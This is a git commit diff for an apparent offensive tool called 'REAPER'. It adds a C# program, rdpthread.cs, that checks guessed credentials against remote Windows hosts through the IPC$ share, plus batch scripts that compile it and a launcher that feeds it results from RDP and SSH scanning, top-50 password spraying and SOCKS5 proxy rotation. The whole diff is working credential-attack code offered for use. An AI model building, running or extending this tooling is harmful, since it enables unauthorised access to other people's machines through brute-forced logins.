Build rdpthread.exe - RDP credential validator (C# via WNetAddConnection2)
This commit is contained in:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -6,3 +6,6 @@ dist/
|
||||
build/
|
||||
.vscode/
|
||||
.idea/
|
||||
|
||||
# Build artifacts
|
||||
rdpthread.exe
|
||||
|
||||
@@ -20,7 +20,7 @@ echo Made for doom by drjones.
|
||||
echo.
|
||||
|
||||
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
|
||||
echo [*] Step 1/6 — Checking Python...
|
||||
echo [*] Step 1/7 — Checking Python...
|
||||
python --version >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo.
|
||||
@@ -37,7 +37,7 @@ echo [OK] Python %pyver% found
|
||||
echo.
|
||||
|
||||
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
|
||||
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
|
||||
echo [*] Step 2/7 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
|
||||
echo.
|
||||
python -m pip install --upgrade pip -q
|
||||
python -m pip install aiohttp aiohttp-socks paramiko -q
|
||||
@@ -49,14 +49,14 @@ if %errorlevel% neq 0 (
|
||||
echo.
|
||||
|
||||
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
|
||||
echo [*] Step 3/6 — Creating directories...
|
||||
echo [*] Step 3/7 — Creating directories...
|
||||
if not exist "wordlists" mkdir wordlists
|
||||
if not exist "results" mkdir results
|
||||
echo [OK] Directories ready
|
||||
echo.
|
||||
|
||||
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
|
||||
echo [*] Step 4/6 — Verifying project files...
|
||||
echo [*] Step 4/7 — Verifying project files...
|
||||
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
|
||||
set ALL_OK=1
|
||||
for %%f in (%FILES%) do (
|
||||
@@ -73,8 +73,39 @@ if not exist "results\good.txt" (
|
||||
)
|
||||
echo.
|
||||
|
||||
:: ── STEP 5: TEST IMPORTS ────────────────────────────────────
|
||||
echo [*] Step 5/6 — Testing imports...
|
||||
:: ── STEP 5: BUILD RDPTHREAD ─────────────────────────────────
|
||||
echo [*] Step 5/7 — Building rdpthread.exe (credential validator)...
|
||||
if exist "rdpthread.cs" (
|
||||
if not exist "rdpthread.exe" (
|
||||
echo [*] Compiling rdpthread.cs...
|
||||
set CSC=
|
||||
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
|
||||
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
|
||||
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
|
||||
goto :build_rdp
|
||||
)
|
||||
)
|
||||
echo [WARN] C# compiler not found — rdpthread.exe not built
|
||||
echo Credential validation will use banner-only fallback
|
||||
goto :skip_build
|
||||
:build_rdp
|
||||
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs >nul 2>&1
|
||||
if exist "rdpthread.exe" (
|
||||
echo [OK] rdpthread.exe built successfully
|
||||
) else (
|
||||
echo [WARN] rdpthread.exe build failed — using banner-only fallback
|
||||
)
|
||||
) else (
|
||||
echo [OK] rdpthread.exe already exists
|
||||
)
|
||||
) else (
|
||||
echo [WARN] rdpthread.cs not found — using banner-only fallback
|
||||
)
|
||||
:skip_build
|
||||
echo.
|
||||
|
||||
:: ── STEP 6: TEST IMPORTS ────────────────────────────────────
|
||||
echo [*] Step 6/7 — Testing imports...
|
||||
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Import test failed. There may be a syntax error.
|
||||
@@ -84,8 +115,8 @@ if %errorlevel% neq 0 (
|
||||
echo [OK] All systems nominal
|
||||
echo.
|
||||
|
||||
:: ── STEP 6: LAUNCH ──────────────────────────────────────────
|
||||
echo [*] Step 6/6 — Launching the Reaper...
|
||||
:: ── STEP 7: LAUNCH ──────────────────────────────────────────
|
||||
echo [*] Step 7/7 — Launching the Reaper...
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════════════════════════╗
|
||||
echo ║ ☠ REAPER v2.0 ☠ ║
|
||||
|
||||
39
build_rdpthread.bat
Normal file
39
build_rdpthread.bat
Normal file
@@ -0,0 +1,39 @@
|
||||
@echo off
|
||||
title Build rdpthread.exe
|
||||
cd /d "%~dp0"
|
||||
|
||||
echo.
|
||||
echo ╔════════════════════════════════════════════════════════╗
|
||||
echo ║ Building rdpthread.exe - RDP Credential Validator ║
|
||||
echo ╚════════════════════════════════════════════════════════╝
|
||||
echo.
|
||||
|
||||
:: Find the C# compiler
|
||||
set CSC=
|
||||
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
|
||||
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
|
||||
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
|
||||
goto :compile
|
||||
)
|
||||
)
|
||||
|
||||
echo [FAIL] C# compiler (csc.exe) not found!
|
||||
echo Install .NET Framework SDK or Visual Studio Build Tools.
|
||||
pause
|
||||
exit /b 1
|
||||
|
||||
:compile
|
||||
echo [*] Found C# compiler: %CSC%
|
||||
echo [*] Compiling rdpthread.cs...
|
||||
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Compilation failed
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [OK] rdpthread.exe built successfully
|
||||
echo.
|
||||
echo Usage: rdpthread.exe ^<ip^> ^<port^> ^<username^> ^<password^>
|
||||
echo.
|
||||
pause
|
||||
4
gui.py
4
gui.py
@@ -426,7 +426,8 @@ class FastRDPGUI:
|
||||
fg=Colors.YELLOW,
|
||||
text=(
|
||||
"Password sprayer: active — scanning and RDP discovery operational. "
|
||||
"Install rdpthread.exe for verified credential hits."
|
||||
"Run build_rdpthread.bat or MASTERSTER.bat to build rdpthread.exe "
|
||||
"for verified credential hits."
|
||||
),
|
||||
)
|
||||
except tk.TclError:
|
||||
@@ -739,6 +740,7 @@ class FastRDPGUI:
|
||||
"Built with Python 3.11 + asyncio + paramiko\n"
|
||||
"Streaming: scan + spray run CONCURRENTLY\n"
|
||||
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
|
||||
"rdpthread.exe: compiled credential validator (built from C# source)\n"
|
||||
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
|
||||
"Double-click a host to RDP connect; status strip shows credential engine state\n"
|
||||
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
|
||||
|
||||
212
rdpthread.cs
Normal file
212
rdpthread.cs
Normal file
@@ -0,0 +1,212 @@
|
||||
// rdpthread.exe - RDP Credential Validator for FastRDP-NG
|
||||
// Uses Windows WNetAddConnection2 API to validate credentials
|
||||
// against the remote machine's IPC$ share.
|
||||
//
|
||||
// Compilation: csc.exe /target:exe /out:rdpthread.exe rdpthread.cs
|
||||
// or via build.bat
|
||||
//
|
||||
// Usage: rdpthread.exe <ip> <port> <username> <password>
|
||||
// Returns: exit code 0 + prints "success" on valid credentials
|
||||
// exit code 1 on failure (invalid, timeout, unreachable)
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace RDPThread
|
||||
{
|
||||
class Program
|
||||
{
|
||||
// ── Win32 P/Invoke ──────────────────────────────────────
|
||||
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern int WNetAddConnection2(
|
||||
ref NETRESOURCE netResource,
|
||||
string password,
|
||||
string username,
|
||||
int flags
|
||||
);
|
||||
|
||||
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern int WNetCancelConnection2(
|
||||
string name,
|
||||
int flags,
|
||||
bool force
|
||||
);
|
||||
|
||||
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||
private static extern IntPtr socket(int af, int type, int protocol);
|
||||
|
||||
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||
private static extern int connect(IntPtr s, byte[] addr, int addrlen);
|
||||
|
||||
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||
private static extern int closesocket(IntPtr s);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern int WSAStartup(ushort version, ref WSADATA data);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern int WSACleanup();
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct NETRESOURCE
|
||||
{
|
||||
public int dwScope;
|
||||
public int dwType;
|
||||
public int dwDisplayType;
|
||||
public int dwUsage;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpLocalName;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpRemoteName;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpComment;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpProvider;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct WSADATA
|
||||
{
|
||||
public ushort wVersion;
|
||||
public ushort wHighVersion;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
|
||||
public string szDescription;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
|
||||
public string szSystemStatus;
|
||||
public ushort iMaxSockets;
|
||||
public ushort iMaxUdpDg;
|
||||
public IntPtr lpVendorInfo;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct sockaddr_in
|
||||
{
|
||||
public short sin_family;
|
||||
public ushort sin_port;
|
||||
public uint sin_addr;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public byte[] sin_zero;
|
||||
}
|
||||
|
||||
private const int RESOURCETYPE_ANY = 0;
|
||||
private const int CONNECT_TEMPORARY = 4;
|
||||
private const int NO_ERROR = 0;
|
||||
private const int AF_INET = 2;
|
||||
private const int SOCK_STREAM = 1;
|
||||
private const int IPPROTO_TCP = 6;
|
||||
|
||||
private const int ERROR_LOGON_FAILURE = 1326;
|
||||
private const int ERROR_ACCESS_DENIED = 5;
|
||||
private const int ERROR_BAD_NETPATH = 53;
|
||||
private const int ERROR_NETWORK_UNREACHABLE = 1231;
|
||||
private const int ERROR_INVALID_PASSWORD = 86;
|
||||
private const int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219;
|
||||
|
||||
// ── TCP connect check ──────────────────────────────────
|
||||
private static bool TcpConnect(string ip, int port, int timeoutMs = 3000)
|
||||
{
|
||||
try
|
||||
{
|
||||
WSADATA wsa = new WSADATA();
|
||||
if (WSAStartup(0x202, ref wsa) != 0)
|
||||
return false;
|
||||
|
||||
IntPtr s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (s == (IntPtr)(-1))
|
||||
{
|
||||
WSACleanup();
|
||||
return false;
|
||||
}
|
||||
|
||||
// Set non-blocking for timeout
|
||||
var addr = new sockaddr_in
|
||||
{
|
||||
sin_family = AF_INET,
|
||||
sin_port = (ushort)System.Net.IPAddress.HostToNetworkOrder((short)port),
|
||||
sin_addr = BitConverter.ToUInt32(
|
||||
System.Net.IPAddress.Parse(ip).GetAddressBytes(), 0),
|
||||
sin_zero = new byte[8]
|
||||
};
|
||||
|
||||
byte[] addrBytes = new byte[16];
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_family), 0, addrBytes, 0, 2);
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_port), 0, addrBytes, 2, 2);
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_addr), 0, addrBytes, 4, 4);
|
||||
|
||||
int result = connect(s, addrBytes, 16);
|
||||
closesocket(s);
|
||||
WSACleanup();
|
||||
|
||||
return result == 0;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Credential validation via IPC$ ────────────────────
|
||||
private static bool ValidateCredentials(string ip, string username, string password)
|
||||
{
|
||||
string remotePath = string.Format("\\\\{0}\\IPC$", ip);
|
||||
|
||||
NETRESOURCE nr = new NETRESOURCE
|
||||
{
|
||||
dwScope = 0,
|
||||
dwType = RESOURCETYPE_ANY,
|
||||
dwDisplayType = 0,
|
||||
dwUsage = 0,
|
||||
lpLocalName = null,
|
||||
lpRemoteName = remotePath,
|
||||
lpComment = null,
|
||||
lpProvider = null
|
||||
};
|
||||
|
||||
int result = WNetAddConnection2(ref nr, password, username, CONNECT_TEMPORARY);
|
||||
|
||||
if (result == NO_ERROR)
|
||||
{
|
||||
// Success! Clean up the connection
|
||||
WNetCancelConnection2(remotePath, CONNECT_TEMPORARY, true);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// ── Main ──────────────────────────────────────────────
|
||||
static int Main(string[] args)
|
||||
{
|
||||
if (args.Length < 4)
|
||||
{
|
||||
Console.Error.WriteLine("Usage: rdpthread.exe <ip> <port> <username> <password>");
|
||||
return 1;
|
||||
}
|
||||
|
||||
string ip = args[0];
|
||||
int port = int.Parse(args[1]);
|
||||
string username = args[2];
|
||||
string password = args[3];
|
||||
|
||||
// Step 1: Quick TCP connectivity check
|
||||
if (!TcpConnect(ip, port))
|
||||
{
|
||||
// Port not reachable - try IPC$ anyway (SMB uses port 445)
|
||||
// The WNetAddConnection2 will fail gracefully if unreachable
|
||||
}
|
||||
|
||||
// Step 2: Validate credentials via IPC$ (SMB)
|
||||
// This uses Windows built-in authentication against the remote machine
|
||||
bool success = ValidateCredentials(ip, username, password);
|
||||
|
||||
if (success)
|
||||
{
|
||||
Console.WriteLine("success");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user